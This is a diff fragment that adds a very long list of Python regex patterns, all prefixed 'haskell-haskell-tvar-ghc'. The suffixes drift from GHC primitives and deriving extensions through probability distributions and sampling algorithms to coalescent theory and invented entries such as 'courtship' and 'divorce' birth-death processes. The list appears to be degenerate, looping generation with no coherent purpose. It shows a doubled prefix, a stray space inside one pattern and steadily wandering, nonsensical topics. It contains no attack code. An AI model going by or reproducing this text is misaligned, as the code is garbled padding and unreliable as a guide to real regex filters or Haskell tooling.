+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?float[-_]?prim[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?double[-_]?prim[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?char[-_]?prim[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?int[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?word[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?float[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?double[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?char[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?ptr[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?funptr[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?stableptr[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?mstableptr[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?weakptr[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?conc[-_]?data[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?threadid[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?tso[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?block[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?capability[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?task[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?spark[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?par[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?seq[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?pseq[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?seqa[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?deepseq[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?rnf[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?force[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]? NFData[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?generic[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?derivable[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?deriving[-_]?via[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?deriving[-_]?strategies[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?standalone[-_]?deriving[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?empty[-_]?deriving[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?stock[-_]?deriving[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?newtype[-_]?deriving[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?anyclass[-_]?deriving[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?pattern[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?view[-_]?patterns[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?pattern[-_]?guards[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?bang[-_]?patterns[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?lazy[-_]?patterns[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?as[-_]?patterns[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?record[-_]?patterns[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?strict[-_]?patterns[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?irrefutable[-_]?patterns[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?refutable[-_]?patterns[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?nested[-_]?patterns[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?or[-_]?patterns[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?nplusk[-_]?patterns[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?pattern[-_]?synonyms[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?complete[-_]?pragmas[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?overloaded[-_]?record[-_]?dot[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?record[-_]?puns[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?record[-_]?wild[-_]?cards[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?duplicate[-_]?record[-_]?fields[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?no[-_]?field[-_]?selectors[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?field[-_]?selectors[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?ambiguous[-_]?record[-_]?fields[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?disambiguate[-_]?record[-_]?fields[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?named[-_]?record[-_]?wild[-_]?cards[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?large[-_]?records[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?souffle[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?datalog[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?logic[-_]?programming[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?constraint[-_]?programming[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?answer[-_]?set[-_]?programming[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?asp[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?smt[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?sat[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?solver[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?tactic[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?proof[-_]?search[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?automated[-_]?reasoning[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?theorem[-_]?proving[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?model[-_]?checking[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?symbolic[-_]?execution[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?concolic[-_]?execution[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?fuzzing[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?property[-_]?based[-_]?testing[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?quickcheck[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?smallcheck[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?lazy[-_]?smallcheck[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?leancheck[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?feat[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?quickcheck[-_]?inspired[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?hedgehog[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?validity[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?genvalidity[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?sv[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?state[-_]?vector[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?random[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?splitmix[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?mersenne[-_]?twister[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?pcg[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?tf[-_]?random[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?chaos[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?random[-_]?fu[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?uniform[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?normal[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?gaussian[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?gamma[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?beta[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?dirichlet[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?poisson[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?binomial[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?multinomial[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?categorical[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?geometric[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?hypergeometric[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?negative[-_]?binomial[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?uniform[-_]?discrete[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?zipf[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?zeta[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?pareto[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?weibull[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?exponential[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?laplace[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?cauchy[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?logistic[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?log[-_]?normal[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?student[-_]?t[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?chi[-_]?square[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?f[-_]?distribution[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?gumbel[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?von[-_]?mises[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?von[-_]?mises[-_]?fisher[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?kumaraswamy[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?irwin[-_]?hall[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?bates[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?reciprocal[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?inverse[-_]?gaussian[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?wald[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?inverse[-_]?gamma[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?scaled[-_]?inverse[-_]?chi[-_]?square[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?inv[-_]?chi[-_]?square[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?lehmann[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?frechet[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?generalized[-_]?extreme[-_]?value[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?gev[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?generalized[-_]?pareto[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?gpd[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?exponential[-_]?power[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?gengauss[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?generalized[-_]?inverse[-_]?gaussian[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?gig[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?normal[-_]?inverse[-_]?gaussian[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?nig[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?normal[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?t[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?cauchy[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?laplace[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?logistic[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?gamma[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?weibull[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?exponential[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?pareto[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?gumbel[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?frechet[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?gev[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?gpd[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?normal[-_]?mixture[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?t[-_]?mixture[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?cauchy[-_]?mixture[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?laplace[-_]?mixture[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?logistic[-_]?mixture[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?gamma[-_]?mixture[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?weibull[-_]?mixture[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?exponential[-_]?mixture[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?pareto[-_]?mixture[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?gumbel[-_]?mixture[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?frechet[-_]?mixture[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?gev[-_]?mixture[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?skew[-_]?gpd[-_]?mixture[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?mixture[-_]?distribution[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?compound[-_]?distribution[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?convolution[-_]?distribution[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?product[-_]?distribution[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?ratio[-_]?distribution[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?difference[-_]?distribution[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?sum[-_]?distribution[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?linear[-_]?combination[-_]?distribution[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?affine[-_]?transformation[-_]?distribution[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?location[-_]?scale[-_]?distribution[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?shape[-_]?transformation[-_]?distribution[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?power[-_]?transformation[-_]?distribution[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?box[-_]?cox[-_]?transformation[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?yeo[-_]?johnson[-_]?transformation[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?rank[-_]?transformation[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?quantile[-_]?transformation[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?probability[-_]?integral[-_]?transform[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?pit[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?inverse[-_]?probability[-_]?integral[-_]?transform[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?invpit[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?inverse[-_]?transform[-_]?sampling[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?rejection[-_]?sampling[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?acceptance[-_]?rejection[-_]?sampling[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?box[-_]?muller[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?ziggurat[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?ratio[-_]?of[-_]?uniforms[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?alias[-_]?method[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?walkers[-_]?alias[-_]?method[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?alias[-_]?table[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?vose[-_]?alias[-_]?method[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?discrete[-_]?alias[-_]?method[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?finite[-_]?discrete[-_]?sampling[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?categorical[-_]?sampling[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?multinomial[-_]?sampling[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?dirichlet[-_]?sampling[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?normalized[-_]?gamma[-_]?sampling[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?stick[-_]?breaking[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?chinese[-_]?restaurant[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?crp[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?indian[-_]?buffet[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?ibp[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?beta[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?gamma[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?poisson[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?cox[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?hawkes[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?self[-_]?exciting[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?branching[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?galton[-_]?watson[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?age[-_]?dependent[-_]?branching[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?bellman[-_]?harris[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?sevastyanov[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?markov[-_]?branching[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?controlled[-_]?branching[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?size[-_]?dependent[-_]?branching[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?population[-_]?dependent[-_]?branching[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?density[-_]?dependent[-_]?branching[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?resource[-_]?dependent[-_]?branching[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?cooperative[-_]?branching[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?competitive[-_]?branching[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?predator[-_]?prey[-_]?branching[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?epidemic[-_]?branching[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?vaccination[-_]?branching[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?mutation[-_]?branching[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?selection[-_]?branching[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?genetic[-_]?branching[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?evolutionary[-_]?branching[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?phylogenetic[-_]?branching[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?coalescent[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?kingman[-_]?coalescent[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?lambda[-_]?coalescent[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?psi[-_]?coalescent[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?xi[-_]?coalescent[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?multiple[-_]?merger[-_]?coalescent[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?simonsens[-_]?coalescent[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?sagitov[-_]?coalescent[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?bolthausen[-_]?sznitman[-_]?coalescent[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?mohle[-_]?coalescent[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?pitman[-_]?coalescent[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?beta[-_]?coalescent[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?dirac[-_]?coalescent[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?star[-_]?shaped[-_]?coalescent[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?yule[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?pure[-_]?birth[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?linear[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?logistic[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?density[-_]?dependent[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?age[-_]?structured[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?stage[-_]?structured[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?size[-_]?structured[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?sex[-_]?structured[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?two[-_]?sex[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?polygamous[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?monogamous[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?mating[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?courtship[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?marriage[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?divorce[-_]?birth[-_]?death[-_]?process[-_]?",
+ r"^haskell[-_]?haskell[-_]?tvar[-_]?ghc[-_]?widowhood[-_]?birth[-_]?death[-_]?process[-_]?",
